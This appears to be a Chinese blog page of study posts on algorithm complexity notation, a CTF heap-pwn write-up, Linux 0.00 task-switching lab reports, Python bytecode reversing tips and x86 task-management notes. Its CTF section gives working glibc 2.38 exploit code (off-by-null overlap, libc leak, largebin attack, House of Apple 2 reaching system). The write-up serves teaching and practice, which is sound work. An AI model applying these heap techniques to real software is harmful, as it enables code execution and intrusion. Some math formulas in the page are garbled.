0%

算法设计与分析之数学基础

数学是算法的基础,这一章主要讲的是如何用数学描述算法的复杂度

通常我们都知道用大O函数来描述算法的复杂度,但这一章给出了更多的概念。

同阶函数

$$
同阶函数\Theta(g(n))
$$

这个函数直观来讲就是用来处理复杂度

$$
O(2n^2) = O(n^2)
$$

定义如下:

$$
\Theta(g(n))={f(n) | \exists c1, c2>0, n0, \forall n>n0, c_1g(n)\leq f(n)\leq c_2g(n)} 称为与g(n)同阶的函数集合。
$$

记住它是用来化简系数的就好理解了

低阶函数

$$
O(g(n))
$$

这就是总所周知的大O函数,它是用来描述最坏情况的,也就是复杂度的上限。

如果

$$
f(n) = O(n^k)
$$

则称f(n)是多项式界限的,这个后面会用到

定义如下

$$
O(g(n)) = {f(n)|\exists c >0, n_0, \forall n>n_0, 0\leq f(n)\leq cg(n)}
$$

高阶函数

$$
\Omega(g(n))
$$

高阶函数和低阶函数恰恰相反,用来描述最好情况的。

定义如下:

$$
\Omega(g(n)) = {f(n)|\exists c>0, n_0, \forall n \geq n_0, 0\leq cg(n)\leq f(n)}
$$

这里有个小考点

对于描述运行时间必须完全准确

$$
– 最好运行时间是 \Omega(n)
– 最坏运行时间是 \Omega(n2)
– 或者说,运行时间是\Omega(n)
– 或者说,运行时间是O(n2)
– 但是说运行时间是\Omega(n2)则有误
$$

严格低阶函数

这个和低阶函数唯一的区别就是不可以等于上界…

符号是这个:

$$
o(g(n))
$$

严格高阶函数

这个和高阶函数唯一的区别就是不可以等于下界…

符号是这个:

$$
\omega(g(n))
$$

注意这些比较都必须满足一个条件就是f(n)是多项式界限的,比如下面这个函数就不行。

$$
n^(1+sin(n))
$$

求解复杂度/计算复杂度的常用方法

数学归纳法

$$
证明\Sigma_{k=0}n3k = O(3^k)
$$

$$
证明对于c \geq \frac{3}{2}, 存在一个n_0,当n \geq n_0的时候,\Sigma_{k=0}n3k \leq c3^n.
$$

$$
当n=0的时候,1 <= \frac{3}{2}成立。
$$

$$
先假设当n\leq m的时候成立,令n=m+1,则\Sigma_{k=0}{m+1}3k = \Sigma_{k=0}m3k + 3^{m+1} \leq c3m+3{m+1} = (\frac{c}{3}+1)3^{m+1}
$$

$$
对于(\frac{c}{3}+1)3^{m+1},有c\geq \frac{3}{2},则(\frac{c}{3}+1)\geq \frac{3}{2}=c,所以此时的等价于c3^{m+1}
$$

$$
所以对于n=m+1的时候假设同样成立,根据数学归纳法可以知\Sigma_{k=0}n3k = O(3^k)
$$

利用放缩法求大致值

这个求的是否准确,很看放缩的功底。

思路是切线渐进,可以回顾高中数学。

ppt上例题:

Untitled

还可以通过下一项和上一项比较的方式,如果发现是单调递减的,可以知道必小于n*a0

因为求存在同阶函数,所以求阶可以大致求,不需要像高中那样求出完全相等的式子。

有些级数必须记住

Untitled

求积分法锁定区间

方法原理如下:

Untitled

递归方程的算法复杂度分析

这里介绍Master定理,貌似可以通杀所有计算题

$$
目的:求阶T(n)=aT(\frac{n}{b})+f(n)方程,a\geq 1, b>0是常数,f(n)是正函数
$$

$$
1.f(n)=O(n^{log_b{a-\varepsilon}}),则\exists \varepsilon>0,那么T(n) = \Theta(n^{log_ba})
$$

$$
2.f(n)=\Theta(n{log_ba}),那么T(n)=\Theta(n{log_ba}logn)
$$

$$
3.f(n)=\Omega(n^{log_ba+\varepsilon}),\exists \varepsilon>0,且对于某个常数c<1和足够大的n,有af(\frac{n}{b})\leq cf(n),那么T(n)=\Theta(f(n))
$$

更进一步:

Untitled

缺陷:

Untitled

鹏城杯初赛一道好题 babyheap

libc 2.38版本

打法是off_by_null触发overlap,堆块重叠之后再overlap一次,推动指针重叠,然后leak libc,最后打house of apple 2

比赛的时候太久没打过off by null了有点生疏了 卡在了leak libc那里

好好复习一遍

off by null触发overlap

Untitled

看着这张图来打吧

目的有两个

第一个fake_chunk需要满足largebin对的双向链表检测

为了实现目标我们要绕过的检测:

校验一

伪造的堆块必须满足largebin的双向链表检验:

1
2
3
victim→bk→fd = victim

victim→fd→bk = victim

校验二

要满足H1对的presize == fake_chunk的size

第一步:伪造合法的fake_chunk的fd和bk指针

我们只需要依次delete A、delete C0、delete D即可在C0处借用unsortedbin的双向链表特性构建好fd和bk。

这里我们可以顺便deleteB0,然后add一个B1构造好我们所需要的B1和C1也就是构造好我们的fake_chunk的size

第二步:构造A→bk = fake_chunk

这个比较简单,只需要delete A、delete C1,通过off by null即可ADD(A, b’a’*8)即可实现(这里有个小tips就是要保证C0的地址必须为xx00)

第三步:构造D→fd = fake_chunk

这个也比较简单,只需要delete C1、delete D、 delete H(类似第二步

第四步:Barrier的off by null改写H1的head

此时我们已经实现了fake_chunk的完全构造,这个时候通过barrier的off by null即可改写H1的presize和size,这里注意H1大小必须刚好0x501/0x401这类的,为了保证delete的时候对下一个堆头的校验。而且off by null也会改写成0x500 完美!

第五步:delete H1触发overlap

这个时候overlap的堆块就有C0、barrier、H1

注意我们现在拥有的指针仅有barrier,当然C0可以申请回来,H1也可以申请回来(理论

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# initial make sure C0_base = xx00
add(0x418, b'A'*0x100) # A
add(0x4e8, b'barrier') # barrier
add(0x438, b'B0'*0x100) # B0
add(0x438, b'C0'*0x100) # C0
add(0x408, b'barrier') # barrier
add(0x4e8, b'H0'*0x100) # H0 # 0x488
add(0x448, b"D"*0x100) # D
add(0x408, b'barrier') # barrier

"""step 1""" # fake_chunk -> fd || fake_chunk -> bk
delete(0) # delete A
delete(3) # delete C0
delete(6) # delete D

delete(2) # delete B0
add(0x458, b'1'*0x438 + p16(0x851)) # add B1 and set fake_chunk size == C0 + barrier + 1 * header_size
add(0x418, b'C1') # add C1
add(0x418, b'A') # recover A
add(0x448, b'D') # recover D

"""step2""" # A->bk = fake_chunk
delete(3) # delete A
delete(2) # delete C1
add(0x418, b'a'*8) # recover A and off by null make A->bk = fake_chunk
add(0x418, b'C1') # recover C1

"""step 3""" # D->fd = fake_chunk
delete(3) # delete C1
delete(6) # delete D
delete(5) # delete H

add(0x4f8, b'1'*0x4e8 + b'b'*8) # add H1 overwrite D->fd
add(0x438, b'1') # recover D1
add(0x418, b'1') # recover C1

"""step 4""" # Barrier off by null rewrite H1 presize
delete(4) # delete barrier
add(0x408, b'a'*0x400 + p64(0x850)) # barrier off by null presize must equal to fake_chunk size

"""overlap"""
delete(3)

这个模板实现效果是:

overlap的堆块大小为0xd50

在偏移0x20的地方我们有一个指针

在偏移0x440的地方我们有第二个指针

堆块重叠后再次overlap

目的就是leak

先将堆块消耗完,然后通过堆块重叠复写size,要注意改写的size,需要满足addr+size是一个合法堆头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
"""leak"""
add(0x460, b'1') # over the second point
add(0x420, b'2') # fill
add(0x4a8, b'3') # final fill

add(0x500, b'extra to the end') # extra to the end
# the new size is the extra - modify one 0x0000556ab0f695b0 - 0x0000556ab0f68480 = 0x1130
delete(4) # delete second point
add(0x408, b'a'*0x28 + p64(0x1131)) # resize for the next overlap
delete(8) # overlap

# now the target is to push the new overlap to the final fill
add(0x428, b'1') # push 1 now is in the position
add(0x4a8, b'3') # fill and make points
add(0x430, b'4') # fill
add(0x408, b'5') # fill the last overlap chunk

# start!
delete(9) # delete
add(0x500, b'111') # make it to large bin

# leak!
show(11)

leak_libc = leak()
log(hex(leak_libc))

libc_base = leak_libc - (0x7f44f45ff110 - 0x7f44f4400000)
log(hex(libc_base))

IO_list_all = libc_base + libc.sym['_IO_list_all']
fd = libc_base + (0x00007f3e455ff110 - 0x7f3e45400000)
fd_nextsize = heap_base + (0x000055f95094c8a0 - 0x55f95094b000)
# recover
add(0x4a8, b'1')

largebin attack & house of apple2

这部分比较简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
"""large bin attack & house of apple"""

# apple:
# def house_of_apple2(_IO_wfile_jumps, wide_data_entry, wide_data_vtable_entry, RIP):
# return (fake_IO_FILE, pad, payload)
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
RIP = libc_base + libc.sym['system']
wide_data_entry = heap_base + (0x000055e96ba93460 - 0x55e96ba90000) # 下面的第一个0x500
wide_data_vtable_entry = heap_base + (0x000056024a7a5970 - 0x56024a7a2000) # 下面的第二个0x500
payloads = house_of_apple2(_IO_wfile_jumps, wide_data_entry, wide_data_vtable_entry, RIP)
fake_IO_FILE = payloads[0]
pad = payloads[1]
payload = payloads[2]

# large bin attack
add(0x480, b'1')
delete(14) # delete the larger one
add(0x500, pad) # put it into largebin
delete(15) # delete the small one
edit(11, 0x20, p64(fd)*2 + p64(fd_nextsize) + p64(IO_list_all-0x20)) # edit bk_nextsize = target - 0x20
add(0x500, payload) # 15

delete(2)
add(0x480, b'1') # make IO_list_all to we can control

edit(8, 0x428, b'a'*0x420 + p64(0x68732020)) # edit flag
edit(11, len(fake_IO_FILE)-0x10, fake_IO_FILE[0x10:])
bpp()

exit()

ia()

os实验lab2

OS操作系统lab2实验报告

1. 当执行完 system_interrupt 函数,执行 153 行 iret 时,记录栈的变化情况。

执行前:

Untitled

Untitled

切换后:

Untitled

Untitled

system_interrupt函数是内核函数,通过iret返回到用户态,iret来进行栈切换的过程:

iret等价于:

1
2
3
4
5
pop ip
pop cs
pop eflags
pop esp
pop ss

2. 当进入和退出 system_interrupt 时,都发生了模式切换,请总结模式切换时,特权级是如何改变的?栈切换吗?如何进行切换的?

进入system_interrupt的时候,会改变cs和ss分别为0x8、0x10,这个切换是由硬件切换的,cs、ss这两个选择子是由操作系统启动的时候事先设定好的。此时栈有东西被压栈了,压栈的顺序为:

1
2
3
4
5
EIP <- ESP
CS
eflags
esp
ss

这里通过压栈报错了cs和ss,返回的时候可以通过iret来进行还原。

退出system_interrupt的时候,通过iret返回,iret会将栈内的数据pop出来恢复寄存器:

1
2
3
4
5
pop ip
pop cs
pop eflags
pop esp
pop ss

总结进入的时候通过硬件自动切换特权级,而退出的时候则通过栈来进行特权级的切换。

细节:

进入是从用户态进入到内核态,通过int80中断进入了,推出是从内核态进入到用户态,通过iret返回。

遇到int80,先将东西压栈,之后返回(看看压了什么

Untitled

下一条指令地址为0x10eb

让我们看看栈里都压了什么

观察新栈,改变的是esp,eip,cs,ss

1
2
3
4
5
6
7
8
9
10
11
12
EIP <- ESP
CS
eflags
esp
ss

同时和ret返回的东西刚好对应上
pop ip
pop cs
pop eflags
pop esp
pop ss

3. 当进入和退出 system_interrupt 时,都发生了模式切换,请总结模式切换时,特权级是如何改变的?栈切换吗?如何进行切换的?

当时钟中断发生,进入到 timer_interrupt 程序,请详细记录从任务 0 切换到任务 1 的过程。

调试方法:

1
断点打在0x12b(不知道为何0x12a断不下来

timer_interrupt是内核函数

所以会先让DS指向内核数据段

Untitled

然后设置允许其他硬件中断

Untitled

然后判断当前任务(框框处为比较

Untitled

jmpf功效为跳转到别的任务,会进行任务的切换。

jmpf会自动地进行旧任务TSS的保存,以及切换到新任务的TSS,并从新任务的TSS中加载上下文到寄存器。

进行任务跳转的时候会把寄存器等值存到TSS中:

Untitled

Untitled

返回时进入到:

Untitled

4. 又过了 10ms ,从任务1切换回到任务 0 ,整个流程是怎样的? TSS 是如何变化的?各个寄存器的值是如何变化的?

10ms之后,硬件再次发送中断,程序将执行到timer_interrupt函数中。

执行完timer_interrupt的一系列汇编之后,同样来到jmpf汇编中。

Untitled

跳转的时候会保存旧的TSS,并且用要新任务的tss来恢复寄存器。

旧TSS

tr:0x30

Untitled

Untitled

新TSS

tr:0x20

Untitled

Untitled

跳转到新任务的时候,各个寄存器的值会和新任务的TSS里面的数值一致,确认跳转到新任务。

5. 请详细总结任务切换的过程。

任务切换关键在于:上下文保存、新任务的选择、上下文的恢复(新任务的上下文)、执行新任务。

Untitled

其中TSS在整个过程中起到了重要的作用,任务切换的时候,先将当前的上下文保存到当前任务的TSS中,然后根据要跳转的新任务选择好TSS选择子,然后进行上下文恢复,如此,就实现了当前的寄存器/堆栈完全是新任务的环境,之后即可执行新任务,新任务执行完毕之后会返回(当然本实验是死循环打印字符不会返回,而是通过中断来进行任务切换回来),任务返回的时候和切换是类似的,同样是TSS的保存以及上下文恢复,通过TSS即可完成上下文的保存和任务的切换!

附:

调试方法:通过打断点的方式即可完成调试

timer_interrupt断点要打在0x12b,任务跳转之后不是跳转到任务的代码而是0x163处的代码是正常的,因为任务跳转返回的是被中断的时候的下一条指令的地址,而任务被打断就是在timer_interrupt的jmpf指令处被打断的,此时EIP被保存为下一条指令地址。

总述

主要分为三种,python编译的可执行程序、pyc字节码、dis反编译的代码。

打法

手撸!

[原创]死磕python字节码-手工还原python源码-软件逆向-看雪-安全社区|安全招聘|kanxue.com

自动化工具

可执行程序

用到的工具有

pyinstxtractor.py → 可以将exe转字节码

转成字节码之后头部是有缺失的(头部版本magic等缺失

要把struct这个文件的头部丢过去(winhex等

转成字节码之后看pyc字节码的处理方法

爆强!将 exe 文件反编译成 Python 脚本! - 知乎 (zhihu.com)

pyc字节码

主要有两个低版本可看uncompyle6

高版本可看pycdc

pycdc处理效果好

dis反编译的代码

可以试试pycdc里面的pycdas

如果所有方法都不行可以问问AI

补充

1
2
3
4
Python3.3 以下版本: 只有Magic Number和四位时间戳
Python3.3(包含) - Python3.7(不包含)版本: 4个字节的magic num + 8个字节的时间戳,这个时间戳可以全是0
Python3.7(包含)版本: 4个字节的magic num + 4个字节的空白数据 + 4个字节的时间戳 + 4个字节的文件长度,除了magic num,其它数据可以全是0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
enum PycMagic {
MAGIC_1_0 = 0x00999902,
MAGIC_1_1 = 0x00999903,
MAGIC_1_3 = 0x0A0D2E89,
MAGIC_1_4 = 0x0A0D1704,
MAGIC_1_5 = 0x0A0D4E99,
MAGIC_1_6 = 0x0A0DC4FC,

MAGIC_2_0 = 0x0A0DC687,
MAGIC_2_1 = 0x0A0DEB2A,
MAGIC_2_2 = 0x0A0DED2D,
MAGIC_2_3 = 0x0A0DF23B,
MAGIC_2_4 = 0x0A0DF26D,
MAGIC_2_5 = 0x0A0DF2B3,
MAGIC_2_6 = 0x0A0DF2D1,
MAGIC_2_7 = 0x0A0DF303,

MAGIC_3_0 = 0x0A0D0C3A,
MAGIC_3_1 = 0x0A0D0C4E,
MAGIC_3_2 = 0x0A0D0C6C,
MAGIC_3_3 = 0x0A0D0C9E,
MAGIC_3_4 = 0x0A0D0CEE,
MAGIC_3_5 = 0x0A0D0D16,
MAGIC_3_5_3 = 0x0A0D0D17,
MAGIC_3_6 = 0x0A0D0D33,
MAGIC_3_7 = 0x0A0D0D42,
MAGIC_3_8 = 0x0A0D0D55,
MAGIC_3_9 = 0x0A0D0D61,
};

bochs调试Linux0.00

实验报告

请简述 head.s 的工作原理

head.s工作中主要包括初始化和任务切换两部分:

初始化部分主要是重新建立和设置IDT和GDT表,以及设置中断计时器,构建IDT表里的中断门描述符和系统调用陷阱门描述符等。

之后执行到任务0,在中断计时器的作用下,实现任务0和任务1之间的切换操作。

head.s 的内存分布状况,写明每个数据段,代码段,栈段的起始与终止的内存地址

刚跳转到0x0的时候:

数据段起始地址为0x00000000,终止地址为0x007fffff

代码段起始地址为0x00007c00,终止地址为0x00007c00+0x0000ffff

栈段起始地址为0x00007c00,终止地址为0x00007c00+0x0000ffff

Untitled

初始化结束:

数据段起始地址为0x00000000,终止地址为0x007fffff

代码段起始地址为0x00000000,终止地址为0x007fffff

栈段起始地址为0x00000000,终止地址为0x007fffff

Untitled

切换到任务0:

数据段起始未初始化

代码段起始地址为0x00000000,终止地址为0x003fffff

栈段起始地址为0x00000000,终止地址为0x007fffff

Untitled

初始化完:

数据段起始地址为0x00000000,终止地址为0x003fffff

代码段起始地址为0x00000000,终止地址为0x003fffff

栈段起始地址为0x00000000,终止地址为0x003fffff

Untitled

简述 head.s 57 至 62 行在做什么?

汇编指令:

1
2
3
4
5
6
pushl $0x17 ;任务0当前局部空间数据段(堆栈段)选择符入栈
pushl $init_stack ;将堆栈指针入栈,也可以直接把ESP入栈
pushfl ;将标志寄存器入栈
pushl $0x0f ;把当前局部空间代码段选择符入栈
pushl $task0 ;将代码指针入栈
iret ;执行中断返回指令,从而切换到特权级3的任务0中执行

也就是这个时候要进行内核态到用户态之间的切换,从内核程序将控制权转移给任务0程序。

所以按顺序压栈了各种寄存器以及段选择符。

之所以要压栈+iret实现内核态到用户态的访问,

内核是不会调用用户层的代码,要想实现这逆向的转移,一般做法是在用户进程的核心栈 (tss->esp0)压入用户态的SS,ESP,EFLAGS,CS,EIP,伪装成用户进程是通过陷阱门进入核心态,之后通过iret返回用户态

简述 iret 执行后, pc 如何找到下一条指令?

iret等价于

1
2
3
4
5
pop ip
pop cs
pop eflags
pop esp
pop ss

所以iret执行后,会重置大部分寄存器,这个时候ip寄存器发生变化,pc就能找到下一条指令了。

记录 iret 执行前后,栈是如何变化的?

iret前栈帧:

Untitled

Untitled

iret后:

Untitled

Untitled

可见,主要的有关栈的变化在于ss段寄存器,这里从0x0010变为了0x0017,段选择子发生了变化,选择了不同的段,对内存访问权限发生了变化等,表明从内核态转移到了用户态,访问的是权限等级为用户等级的栈段。

当任务进行系统调用时,即 int 0x80 时,记录栈的变化情况。

切换到任务0之后在0x10e9、0x10fd

系统调用号0x41和0x42

66 sys_setsid
65 sys_getpgrp

Linux系统调用 int 80h int 0x80-CSDN博客

不过该系统调用是进入了我们写好的内核段代码,不会执行上面的linux系统调用列表,这里相当于布置了一个陷阱,int80将会进入我们的函数里。

实际上这段汇编是在无限循环打印A

每次int80 不都会进入一个函数,这个函数是内核态的,用于打印一个字符。

Untitled

int80实现了用户态到内核态的切换,随后从内核态通过iret返回用户态

切换前:

Untitled

Untitled

切换后:

Untitled

Untitled

发生了四个寄存器的切换,切换到了中断处理函数那里,所以cs、ss段寄存器发生了变化。

os读书笔记4

任务管理

4.1任务管理概述

• 什么是任务?

任务通常指的是一个正在执行的程序或程序的一部分,任务是处理器可以调度、执行和挂起的工作单元。每个任务都拥有自己的需求和目标,并且任务自身由一系列的指令构成。这些指令都是由计算机的CPU来执行的。

80x86 提供了哪些硬件支持?

IA-32 体系结构提供了一种机制,用于保存任务的状态、调度任务以执行以及用于从一个任务切换到另一个任务。

在保护模式下运行时,所有处理器执行都从在任务中。即使是简单的系统也必须定义至少一个任务。更复杂的系统可以使用处理器的支持多任务应用程序的任务管理工具。

• 描述符表中与任务相关的描述符有哪些?

主要有TSS(Task-State Segment)、Task Register、CR3寄存器

Untitled

• 任务切换与过程调用的区别是什么?

任务切换是指在多任务操作系统中,从当前任务切换到另外一个任务的过程(Task Swithing),这个切换过程伴随着上下文的切换,由操作系统执行的。而过程调用是一段代码调用另一段代码的过程,不会有上下文的切换,但是有栈帧的变动,用于实现模块化的程序设计。

4.1.1. 任务的结构

• 一个任务由几部分构成?

一个任务主要由五部分构成:

  • TSS任务段

  • 任务门描述符

  • 任务段描述子

  • 任务寄存器

  • EFLAGS中的NT标志位寄存器

• 任务执行空间包括什么?

需要两部分,一部分是动态空间,另一部分是静态空间。

动态空间:

Untitled

动态空间里主要包括

寄存器、内存堆栈、地址映射、链接部分等。

静态空间:

静态空间主要包括CR3控制器、特权等级空间、I/O map映射区域等

• 为什么会有多个特权级栈空间?

区分多个特权级栈空间是为了实现操作系统的特权级别和保护机制。

在操作系统中,通常会划分为多个特权级别,如内核态和用户态。内核态具有较高的特权级别,可以执行特权指令和访问受限资源,而用户态的特权级别较低,只能执行受限的操作。为了实现这种特权级别的划分,需要为每个特权级别分配独立的栈空间。

4.1.2. 任务状态

• 当前正在执行的任务状态包括哪些内容?

• 任务的当前执行空间,由段寄存器中的段选择器(CS、DS、SS、ES、FS 和 GS)。
• 通用寄存器的状态。
• EFLAGS寄存器的状态。
• EIP 寄存器的状态。
• 控制寄存器CR3的状态。
• 任务寄存器的状态。
• LDTR登记册的状态。
• I/O 映射基址和 I/O 映射(包含在 TSS 中)。
• 堆栈指针指向权限 0、1 和 2 堆栈(包含在 TSS 中)。
• 链接到以前执行的任务(包含在 TSS 中)。

• 掌握每一个被包含内容的含义?

主要分为了四部分,寄存器、IO映射关系、带有权限等级的堆栈、以前任务的link。

寄存器就不用多说了,记录着当前任务的状态,带有权限等级的堆栈也一样,记录着当前任务的堆栈状态。

这里的IO映射关系实则指I/O Permission Bitmap,也就是I/O许可位图,在TSS段的+102 Bytes偏移处,保存着I/O位图基址的值,每一个任务都有一个I/O位图。

I/O位图保存着一些flags位,用来指示任务是否具有这个IO的访问权限,让同一特权级下的不同任务也可以有不同的I/O访问权限

以前任务的地址,这个是用来切换任务的,当当前任务执行完毕要切换到之前的任务的时候,通过这个地址来进行访问。

• 为什么要包含这些内容?

具有了这些内容之后,可以流畅优秀地执行上下文切换,也就是从当前任务切换到下一个任务,再从下一个任务切换回当前任务,都能保证任务的执行数据不丢失。

4.1.3. 任务的执行

• 任务的执行方式有几种?

主要有五种

  • 使用CALL指令显式返回

  • 使用JMP指令显式跳转

  • 中断处理隐式跳转

  • 对异常处理程序任务的隐式调用

  • 在EFLAGS寄存器中设置NT标志时返回(使用IRET指令的时候自动)

• 熟悉掌握每一种执行方式的过程

CALL显示调用:通过压栈弹栈的方式保存上下文,再通过CALL指令改变RIP跳转到任务地址。

JMP指令显示跳转:JMP指令只改变RIP,需要在前面保存好上下文相关信息,JMP可以直接跳转到任务地址。

中断处理隐式跳转:中断处理的时候,程序会自动保存上下文信息,当前任务会滞留,然后操作系统调度器会从准备队列中选出一个新任务,CPU跳转到新任务进行执行,前任务中断处理完成,发出中断,响应中断的时候再返回到前任务。

对异常处理程序任务的隐式调用:和中断处理类似,程序运行抛出异常,操作系统会根据异常处理向量表找到对应的异常处理程序,然后保存上下文,当前任务滞留,CPU选择执行下一任务,之后再返回(可能不返回)。

在EFLAGS寄存器中设置NT标志时返回(使用IRET指令的时候自动):在发生中断或异常时,异常处理程序可以将NT标志设置为使得处理器在返回到外层任务时,可以执行内层任务的处理,所以设置了NT标志,IRET的时候将会自动返回。

Linux 0.00 用的是哪种方式?

使用的是中断处理隐式跳转的方式。

Untitled

• 任务可以递归调用吗?为什么?

可以递归调用,比方说中断处理在在跳转到另外任务的时候,又遇到了中断,再次跳转到另外的任务。其TSS里面可以构成一条任务调用链。

4.2. 任务的数据结构

• 任务状态段 Task-State Segment (TSS)

Untitled

数据结构如下,总长104Bytes

TSS 描述符

Untitled

  • TSS(任务状态段):TSS是一种数据结构,包含了任务的上下文和状态信息,用于在任务切换时保存和恢复任务的执行环境。

  • Base(基址):指定了TSS在内存中的起始位置。

  • Limit(限长):指定了TSS在内存中的大小,以字节为单位。限长字段的值需大于等于67H。

  • DPL(描述符特权级):TSS描述符中的DPL字段指定了可以访问该TSS的程序或过程的特权级。只有特权级小于等于TSS描述符的DPL的程序或过程才能调度和切换任务。

  • Granularity(粒度):粒度标志指示了限长字段的粒度,其中0表示限长按字节表示,1表示限长乘以4K(4096)来表示。

  • Present(存在标志):存在标志指示TSS是否在内存中存在。

  • G(Granularity)标志:用于指示限长字段的粒度,默认为0,表示限长按字节表示。

  • I/O Permission Bit Map(输入/输出权限位图):如果在TSS中包含了I/O权限位图,则需要更大的限长来存储这些额外的数据。

• 任务寄存器

Untitled

任务寄存器如图所示分为三个PART。

通过可见的部分来进行GDT表访问TSS段描述符,再通过不可见部分来进行查询TSS段

• 任务门描述符 Task-Gate Descriptor

Untitled

  • 任务门(Task Gate)描述符:任务门描述符是一种数据结构,提供对任务的间接、受保护的引用。它可以放置在全局描述符表(GDT)、局部描述符表(LDT)或中断描述符表(IDT)中。

  • TSS(任务状态段)段选择符字段:任务门描述符中的TSS段选择符字段指向全局描述符表(GDT)中的一个TSS描述符。

  • RPL(请求特权级):任务门描述符中TSS段选择符字段的RPL字段是不使用的,它不影响任务切换的访问权限。

  • 任务门描述符的DPL(描述符特权级):任务门描述符的DPL字段控制任务切换期间对TSS描述符的访问。当一个程序或过程通过任务门进行调用或跳转到一个任务时,任务门选择符的CPL(当前特权级)和RPL字段必须小于等于任务门描述符的DPL。

具体可以参考别的门描述符。

4.3. 任务切换

• 什么时候发生任务切换?

  • 当前程序、任务或过程对GDT中的TSS描述符执行JMP或CALL指令。

  • 当前程序、任务或过程对任务门描述符执行 JMP 或 CALL 指令GDT 或当前的 LDT。

  • 中断或异常向量指向 IDT 中的任务门描述符

  • 当前任务在设置 EFLAGS 寄存器中的 NT 标志时执行 IRET

• 发生任务切换时,处理器会执行哪些操作?

  1. 从JMP或CALL指令的操作数、任务门或先前任务的链接字段(用于由IRET指令发起的任务切换)获取新任务的TSS段选择符。

  2. 检查当前(旧)任务是否被允许切换到新任务。数据访问特权规则适用于JMP和CALL指令。当前(旧)任务的CPL和新任务的段选择符的RPL必须小于等于所引用的TSS描述符或任务门的DPL。但是,除了INT n指令生成的中断外,异常、中断和IRET指令可以无视目标任务门或TSS描述符的DPL来切换任务。对于由INT n指令生成的中断,会检查DPL。

  3. 检查新任务的TSS描述符是否标记为存在且具有有效的限长(大于或等于67H)。

  4. 检查新任务是否可用(通过调用、跳转、异常或中断)或繁忙(通过IRET返回)。

  5. 检查当前(旧)TSS、新TSS以及任务切换中使用的所有段描述符是否已分页到系统内存中。

  6. 如果任务切换是通过JMP或IRET指令发起的,处理器会清除当前(旧)任务的TSS描述符中的繁忙(B)标志;如果是通过CALL指令、异常或中断发起的,则保持繁忙(B)标志设置不变。

  7. 如果任务切换是通过IRET指令发起的,处理器会清除暂时保存的EFLAGS寄存器图像中的NT标志;如果是通过CALL指令、JMP指令、异常或中断发起的,则保持暂时保存的EFLAGS图像中的NT标志不变。

  8. 将当前(旧)任务的状态保存到当前任务的TSS中。处理器根据任务寄存器中的当前TSS的基址,将以下寄存器的状态复制到当前TSS中:所有通用寄存器,来自段寄存器的段选择符,暂时保存的EFLAGS寄存器图像以及指令指针寄存器(EIP)。

  9. 如果任务切换是通过CALL指令、异常或中断发起的,处理器将在从新任务加载的EFLAGS中设置NT标志。如果是通过IRET指令或JMP指令发起的,NT标志将反映从新任务加载的EFLAGS中的NT的状态。

  10. 如果任务切换是通过CALL指令、JMP指令、异常或中断发起的,处理器会设置新任务的TSS描述符中的繁忙(B)标志;如果是通过IRET指令发起的,则保持繁忙(B)标志设置不变。

  11. 将任务寄存器加载新任务TSS的段选择符和描述符。

  12. 将TSS状态加载到处理器中。这包括LDTR寄存器、PDBR(控制寄存器CR3)、EFLAGS寄存器、EIP寄存器、通用寄存器和段选择符。在加载此状态的过程中发生故障可能会损坏体系结构状态。(如果未启用分页,会从新任务的TSS中读取PDBR值,但不会加载到CR3中。)

  13. 加载和验证与段选择符关联的描述符。与此加载和验证相关的任何错误都会在新任务的上下文中发生,并可能损坏体系结构状态。

  14. 准备执行新任务。

• 中断或异常向量指向 IDT 表中的中断门或陷阱门,会发生任务切换吗?

中断或异常向量指向IDT表中的中断门或陷阱门时,一般情况下不会发生任务切换。任务切换通常是由任务门引起的,并且在通过任务门切换任务时,会执行任务状态的保存和加载操作。但有一种情况下,当通过中断指令(INT n)生成的中断向量引用一个任务门时,可能会发生任务切换。在这种情况下,会根据任务门描述符中的设置进行任务切换,并执行相应的任务。

4.4. 任务链

• 如何判断任务是否嵌套?

可以通过EFLAGS中的NT位来判断是否嵌套,如果是1则是嵌套的。

• 什么情况会发生任务嵌套?

当新任务发生中断、异常、调用、陷阱等情况下会发生任务嵌套。

• 任务嵌套时修改了哪些标志位?

修改了EFLAGS中的NT位,设为了1。

• 任务嵌套时,如何返回前一任务?

如果软件使用 IRET 指令挂起新任务,处理器将检查 EFLAG。NT = 1;然后它使用
“Previous Task Link”字段中的值以返回到上一个任务。

4.5. 任务地址空间

• 什么是任务地址空间?

指任务所能访问的各个段的集合。这些段包括在任务状态段 (TSS) 中引用的代码、数据、栈和系统段,以及任务代码中访问的其他段。这些段被映射到处理器的线性地址空间中,而线性地址空间又被映射到处理器的物理地址空间中(可以直接映射或通过分页实现)。

• 任务地址空间包括什么?

这些段包括在任务状态段 (TSS) 中引用的代码、数据、栈和系统段,以及任务代码中访问的其他段。

• 了解把任务映射到线性和物理地址空间的方法?

主要有两种方法

  1. 在所有任务之间共享一个线性到物理地址空间映射:当未启用分页机制时,这是唯一的选择。在没有分页的情况下,所有的线性地址都映射到相同的物理地址。当启用分页机制后,可以通过使用一个页目录来实现所有任务共享的线性到物理地址空间映射。线性地址空间可以超过可用的物理空间,如果支持按需分页的虚拟内存。

  2. 将每个任务拥有独立的线性地址空间,映射到物理地址空间:这种映射方式通过使用每个任务的不同页目录来实现。由于任务切换时会加载PDBR(控制寄存器CR3),因此每个任务可以有不同的页目录。这样,每个任务都可以拥有自己的线性地址空间,并将其映射到物理地址。

解任务逻辑地址空间,及如何在任务之间共享数据的方法?

  1. 通过全局描述符表(GDT)中的段描述符实现数据段的共享:所有任务都必须能够访问GDT中的段描述符。如果GDT中的一些段描述符指向映射到所有任务共享的物理地址空间区域的线性地址空间段,那么所有任务都可以共享这些段中的数据和代码。

  2. 通过共享的局部描述符表(LDT)实现数据段的共享:如果多个任务使用相同的LDT,即它们的TSS中的LDT字段指向同一个LDT,那么这些任务可以共享LDT中指向映射到物理地址空间共享区域的段的数据和代码。通过共享LDT实现的数据共享比通过GDT的方式更加灵活和有选择性,因为可以将共享限制在特定的任务之间,系统中的其他任务可能具有不同的LDT,不能访问共享段。

